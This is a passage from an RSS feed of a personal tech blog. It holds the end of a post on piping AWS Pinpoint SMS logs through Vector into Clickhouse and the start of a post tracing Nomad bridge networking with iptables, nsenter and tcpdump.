style="color: light-dark(#032F62, #96D0FF);">:{</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">sender_request_id</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">destination_phone_number</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">+91xxx</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">record_status</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">DELIVERED</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">iso_country_code</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">IN</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">mcc_mnc</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">xxx</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">number_of_message_parts</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">1</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">message_id</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">message_type</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Transactional</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">,</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">origination_phone_number</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redactedORG</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">},</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">metrics</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:{</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">price_in_millicents_usd</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:xx.0},</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">awsAccountId</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">redacted</span><span style="color: light-dark(#005CC5, #F47067);">\&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">}</span><span style="color: light-dark(#005CC5, #F47067);">\n</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">request_id</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">6dd45388-xxx</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">source_arn</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">arn:aws:firehose:ap-south-1:redacted:deliverystream/redacted</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">source_type</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">aws_kinesis_firehose</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span></span>
<span class="giallo-l"><span style="color: light-dark(#005CC5, #8DDB8C);">      &quot;</span><span style="color: light-dark(#005CC5, #8DDB8C);">timestamp</span><span style="color: light-dark(#005CC5, #8DDB8C);">&quot;</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">2023-07-20T04:39:38.772Z</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  }</span></span></code></pre>
<p>This makes it straightforward because now we just have to parse the JSON inside the <code>message</code> key and do transformations on that object. If it was <code>http</code> source, then I’d to loop over the records structure and figure out how to split them as individual events for the rest of the Vector pipeline… which would have been messy to say the least.</p>
</li>
</ul>
<p>Here’s the vector config so far:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sources</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">firehose</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> General</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">aws_kinesis_firehose</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>address</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">127.0.0.1:9000</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>store_access_key</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span></span>
<span class="giallo-l"><span>access_keys</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">superdupersecret</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Use it for debugging</span></span>
<span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sinks</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">console</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">firehose</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>inputs</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">format_pinpoint_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>encoding</span><span>.</span><span>codec</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">json</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span></code></pre><h2 id="formatting-the-data">Formatting the data<a class="zola-anchor" href="#formatting-the-data" aria-label="Anchor link for: formatting-the-data">#</a></h2>
<p>Now that we have a pipeline which sends and receives data, we can process the events and transform them into a schema that is more desirable. Since we require the events to be queryable in a Clickhouse DB, this is the schema we have:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="sql"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">CREATE</span><span style="color: light-dark(#D73A49, #F47067);"> TABLE</span><span style="color: light-dark(#6F42C1, #DCBDFB);"> default</span><span>.pinpoint_logs (</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">_timestamp</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#D73A49, #F47067);"> DateTime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">app_id</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">event_type</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">record_status</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> LowCardinality(String),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">origination_phone_number</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> String,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">message_id</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> String,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">destination_phone_number</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> String,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">arrival_timestamp</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#D73A49, #F47067);"> DateTime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">event_timestamp</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span style="color: light-dark(#D73A49, #F47067);"> DateTime</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span>),</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    `</span><span style="color: light-dark(#032F62, #96D0FF);">meta</span><span style="color: light-dark(#032F62, #96D0FF);">`</span><span> Nullable(String)</span></span>
<span class="giallo-l"><span>)</span></span>
<span class="giallo-l"><span>ENGINE </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span> MergeTree</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">PARTITION</span><span style="color: light-dark(#D73A49, #F47067);"> BY</span><span> toYYYYMM(_timestamp)</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ORDER BY</span><span> _timestamp</span></span>
<span class="giallo-l"><span>SETTINGS index_granularity </span><span style="color: light-dark(#D73A49, #F47067);">=</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 8192</span><span>;</span></span></code></pre>
<p>To achieve the above format, we can use VRL to parse and format our SMS events:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">transforms</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">format_pinpoint_logs</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">remap</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> </span></span>
<span class="giallo-l"><span>inputs</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">firehose</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span><span> </span></span>
<span class="giallo-l"><span>source</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &#39;&#39;&#39;</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  # Decode the JSON message and set ingestion timestamp</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .message = parse_json!(.message)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .ingestion_timestamp = .timestamp</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  # Convert timestamps from Unix to DateTime</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .event_timestamp = from_unix_timestamp!(.message.event_timestamp, unit:&quot;milliseconds&quot;)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .arrival_timestamp = from_unix_timestamp!(.message.arrival_timestamp, unit:&quot;milliseconds&quot;)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  # Extract keys to top level and remove from attributes</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .record_status = del(.message.attributes.record_status)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .origination_phone_number = del(.message.attributes.origination_phone_number)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .destination_phone_number = del(.message.attributes.destination_phone_number)</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .message_id = del(.message.attributes.message_id)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  # Encode the remaining attributes as JSON string</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  .attr = encode_json(.message.attributes)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  # Format Payload for Clickhouse</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  . = {</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;_timestamp&quot;: .ingestion_timestamp,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;arrival_timestamp&quot;: .arrival_timestamp,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;event_timestamp&quot;: .event_timestamp,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;app_id&quot;: .message.application.app_id,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;event_type&quot;: .message.event_type,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;record_status&quot;: .record_status,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;message_id&quot;: .message_id,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;origination_phone_number&quot;: .origination_phone_number,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;destination_phone_number&quot;: .destination_phone_number,</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">    &quot;meta&quot;: .attr</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">  }</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">&#39;&#39;&#39;</span></span>
<span class="giallo-l"></span></code></pre>
<p>Plugging this, we have a clean JSON object for each SMS event. The only thing now we need to add is an output sink to Clickhouse:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span>[</span><span style="color: light-dark(#6F42C1, #F69D50);">sinks</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">clickhouse</span><span>]</span></span>
<span class="giallo-l"><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">clickhouse</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>inputs</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">format_pinpoint_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>skip_unknown_fields</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span>compression</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">gzip</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>database</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">default</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>endpoint</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">http://127.0.0.1:8123</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>table</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">pinpoint_logs</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>encoding</span><span>.</span><span>timestamp_format</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">unix</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>batch</span><span>.</span><span>max_bytes</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1049000</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> 1 MB</span></span>
<span class="giallo-l"><span>batch</span><span>.</span><span>timeout_secs</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 5</span></span>
<span class="giallo-l"><span>buffer</span><span>.</span><span>max_size</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 268435488</span></span>
<span class="giallo-l"><span>buffer</span><span>.</span><span>type</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">disk</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>buffer</span><span>.</span><span>when_full</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">block</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span></code></pre>
<p>Perfect! On running this pipeline with <code>vector -c config.toml</code> we can see the consumption the records</p>
<p>Hope this short post was useful if you’ve to do anything similar!</p>
<p>Fin!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Bridge Networking in Nomad]]></title>
            <link>https://mrkaran.dev/posts/bridge-network-in-nomad/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/bridge-network-in-nomad/</guid>
            <pubDate>Mon, 17 Jul 2023 05:45:04 GMT</pubDate>
            <description><![CDATA[To set the stage, it’s crucial to understand what we mean by “bridge networking”. In a nutshell, it is a type of network connection in Linux that allows virtual interfaces, like the ones used by virtual machines and containers, to share a physical network interface.
With Nomad, when a task is allocated, it creates a network namespace with its own network stack. Within this, a virtual ethernet (veth) pair is established, one end of which is assigned to the network namespace of the allocation, and the other remains in the host namespace.

The Network Journey#
To illustrate this practically, let’s assume a packet is sent from a task within an allocation. The packet would first be received by the local end of the veth pair, it would then traverse to the other end residing in the host’s namespace. From there, it is sent to the bridge on the host (in this case, the “nomad” bridge), which finally sends the packet out to the world via the host’s physical network interface (typically “eth0” or equivalent in your machine).
The journey of a packet from the outside world to a task inside an allocation is the exact mirror image. The packet reaches “eth0” first, then the nomad bridge, it is then forwarded to the appropriate veth interface in the host’s namespace. From there, it crosses over to the other end of the veth pair in the allocation’s network namespace and finally gets routed to the destination task.
To bridge or not to#
Let’s take a look at the following jobspec which is for deploying my tiny side project - Cloak on Nomad
job "cloak" {
  datacenters = ["dc1"]
  type        = "service"

  group "redis" {
    network {
      mode = "host"
      port "redis" {
        to = 6379
      }
    }

    service {
      name     = "cloak-redis"
      port     = "redis"
      provider = "nomad"
    }


    task "redis" {
      driver = "docker"


      config {
        image                  = "redis:7"
        advertise_ipv6_address = false

        ports = [
          "redis",
        ]

        volumes = [
          "/data/cloak/redis:/data",
        ]
      }

      resources {
        cpu    = 500 # MHz
        memory = 256 # MB
      }
    }
  }

  group "cloak" {
    network {
      mode = "host"
      port "cloak" {
        static = 7000
        to     = 7000
      }
    }

    task "cloak" {
      driver = "docker"

      config {
        image   = "ghcr.io/mr-karan/cloak:v0.2.0"
        command = "--config=config.toml"
        ports = [
          "cloak",
        ]
      }

      template {
        data        = <<EOH
# Configuration for 1 redis instances, as assigned via rendezvous hashing.
{{$allocID := env "NOMAD_ALLOC_ID" -}}
{{range nomadService 1 $allocID "cloak-redis"}}
CLOAK_REDIS__address={{ .Address }}:{{ .Port }}
{{- end}}
EOH
        destination = "secrets/file.env"
        env         = true
      }


      resources {
        cpu    = 500 # MHz
        memory = 700 # MB
      }
    }
  }
}
Our focus should be on the network.mode stanza. To illustrate what happens behind the scenes when an alloc runs in network.mode=host (host network), we can run the above job.
On the machine, we can see that port 7000 (static) and port 27042 (dynamic) are allocated on the host network interface (eth0):

We can also see the port and process details using ss:
sudo ss -ltpn 'sport = :7000'
State    Recv-Q   Send-Q      Local Address:Port       Peer Address:Port   Process
LISTEN 0 4096      95.216.165.210:7000    0.0.0.0:*  users:(("docker-proxy",pid=67068,fd=4))
This config is more suitable for specific workloads - like load balancers or similar deployments where you want to expose the network interface on the host. It’s also helpful for applications running outside of Nomad on that host to connect via the host network interface.
However, typically in a job where you want to connect to multiple different allocs - you’d want to set up a bridge network. This generally avoids exposing the workload on the host network directly. It’s a typical setup where you want to put applications behind a reverse proxy (NGINX/Caddy).
Let’s change network.mode=bridge in the above job spec and see the changes.
$ nomad job plan cloak.nomad

+/- Job: "cloak"
+/- Task Group: "cloak" (1 create/destroy update)
  + Network {
      Hostname: ""
    + MBits:    "0"
    + Mode:     "bridge"
    + Static Port {
      + HostNetwork: "default"
      + Label:       "cloak"
      + To:          "7000"
      + Value:       "7000"
      }
    }
  - Network {
      Hostname: ""
    - MBits:    "0"
    - Mode:     "host"
    - Static Port {
      - HostNetwork: "default"
      - Label:       "cloak"
      - To:          "7000"
      - Value:       "7000"
      }
    }
    Task: "cloak"

+/- Task Group: "redis" (1 create/destroy update)
  + Network {
      Hostname: ""
    + MBits:    "0"
    + Mode:     "bridge"
    + Dynamic Port {
      + HostNetwork: "default"
      + Label:       "redis"
      + To:          "6379"
      }
    }
  - Network {
      Hostname: ""
    - MBits:    "0"
    - Mode:     "host"
    - Dynamic Port {
      - HostNetwork: "default"
      - Label:       "redis"
      - To:          "6379"
      }
    }
    Task: "redis"
Now we don’t see the ports forwarded on the host network:

Similarly, ss also shows no process listening on the host network

IPTables and Routing#
To understand what happened when we switched the networking mode to bridge, we need to take a look at the Nomad iptables magic which comes into play when using bridge network.
I pulled up the iptables and saw specific rules under the chains CNI-FORWARD and NOMAD-ADMIN. These rules, in essence, allow all traffic to and from the allocation’s network namespace.
$ sudo iptables -L CNI-FORWARD
Chain CNI-FORWARD (1 references)
target     prot opt source               destination         
NOMAD-ADMIN  all  --  anywhere             anywhere             /* CNI firewall plugin admin overrides */
ACCEPT     all  --  anywhere             172.26.64.5          ctstate RELATED,ESTABLISHED
ACCEPT     all  --  172.26.64.5          anywhere            
ACCEPT     all  --  anywhere             172.26.64.6          ctstate RELATED,ESTABLISHED
ACCEPT     all  --  172.26.64.6          anywhere

sudo iptables -L NOMAD-ADMIN
Chain NOMAD-ADMIN (1 references)
target     prot opt source               destination         
ACCEPT     all  --  anywhere             172.26.64.0/20
Nomad uses 172.26.64.0/20 as the default subnet for the bridge network. The IPs 172.26.64.5 and 172.26.64.6 are assigned to 2 different allocs in this CIDR. The iptables rules allow complete traffic to flow on this subnet.
To check the routing,ip route command can be used.
$ ip route show 172.26.64.0/20
172.26.64.0/20 dev nomad proto kernel scope link src 172.26.64.1
It uses the nomad network interface for routing packets related to the default bridge network.
Using nsenter we can find more details about the network namespace created for an alloc. Let’s find details about the redis alloc:
sudo nsenter -t $(pgrep redis) --net ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0@if113: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 76:47:6d:49:00:c0 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 172.26.64.5/20 brd 172.26.79.255 scope global eth0
       valid_lft forever preferred_lft forever

We can see that one end of the pair is eth0 (container’s default gateway) which is connected to a network interface with an index 113. For the tunnel to actually work, the veth pair should also exist on the host:
$ ip a
113: veth3402deda@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master nomad state UP group default 
    link/ether 3a:85:1b:37:75:17 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::3885:1bff:fe37:7517/64 scope link 
       valid_lft forever preferred_lft forever
So, when we see veth3402deda@if2 in the host’s network namespace (with the index 113), and then we see eth0@if113 inside the Redis container, we can infer that these two interfaces form a veth pair: veth3402deda@if2 on the host side and eth0 inside the container. This connection enables the container to communicate with the external network through the host’s network stack.
Capturing packets#
We can capture TCP packets on the veth interface to see the routing work:
sudo tcpdump -i veth971858d5 -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on veth971858d5, link-type EN10MB (Ethernet), snapshot length 262144 bytes
10:51:27.801319 IP 172.26.64.1.35826 > 172.26.64.6.7000: Flags [S], seq 1331933249, win 65495, options [mss 65495,sackOK,TS val 248300785 ecr 0,nop,wscale 7], length 0
10:51:27.801549 IP 172.26.64.6.7000 > 172.26.64.1.35826: Flags [S.], seq 107697826, ack 1331933250, win 65160, options [mss 1460,sackOK,TS val 3965422857 ecr 248300785,nop,wscale 7], length 0
